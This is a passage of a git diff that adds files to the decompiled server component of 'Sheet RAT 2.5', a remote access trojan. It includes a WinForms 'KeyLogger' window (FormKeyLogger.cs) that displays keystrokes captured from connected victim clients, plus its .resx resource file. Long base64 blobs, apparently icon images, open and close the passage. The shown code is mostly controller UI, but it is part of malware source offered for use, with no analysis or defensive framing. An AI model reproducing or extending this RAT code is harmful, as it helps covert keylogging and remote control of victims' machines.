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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormKeyLogger.cs b/Server/Server/Forms/FormKeyLogger.cs new file mode 100644 index 0000000..60a5a99 --- /dev/null +++ b/Server/Server/Forms/FormKeyLogger.cs @@ -0,0 +1,103 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormKeyLogger +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormKeyLogger : MetroForm +{ + public Clients ParrentClient; + public Clients PluginClient; + private IContainer components; + public Timer timer1; + public RichTextBox metroTextBox1; + + public FormKeyLogger() => this.InitializeComponent(); + + private void FormShell_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark || Customs.customs.Style != MetroColorStyle.Lime) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroTextBox1.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.metroTextBox1.ForeColor = Customs.customs.StyleToColor(); + } + this.Refresh(); + } + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.PluginClient == null) + return; + this.PluginClient.Disconnected(); + }); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.ParrentClient.Connect && this.PluginClient.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormKeyLogger)); + this.timer1 = new Timer(this.components); + this.metroTextBox1 = new RichTextBox(); + this.SuspendLayout(); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.metroTextBox1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroTextBox1.BackColor = Color.FromArgb(17, 17, 17); + this.metroTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroTextBox1.Font = new Font("Arial", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + this.metroTextBox1.ForeColor = Color.FromArgb(224 /*0xE0*/, 224 /*0xE0*/, 224 /*0xE0*/); + this.metroTextBox1.Location = new Point(12, 63 /*0x3F*/); + this.metroTextBox1.Name = "metroTextBox1"; + this.metroTextBox1.ReadOnly = true; + this.metroTextBox1.ScrollBars = RichTextBoxScrollBars.Vertical; + this.metroTextBox1.Size = new Size(591, 407); + this.metroTextBox1.TabIndex = 2; + this.metroTextBox1.Text = ""; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(617, 493); + this.Controls.Add((Control) this.metroTextBox1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormKeyLogger); + this.Style = MetroColorStyle.Lime; + this.Text = "KeyLogger"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormShell_Load); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormKeyLogger.resx b/Server/Server/Forms/FormKeyLogger.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormKeyLogger.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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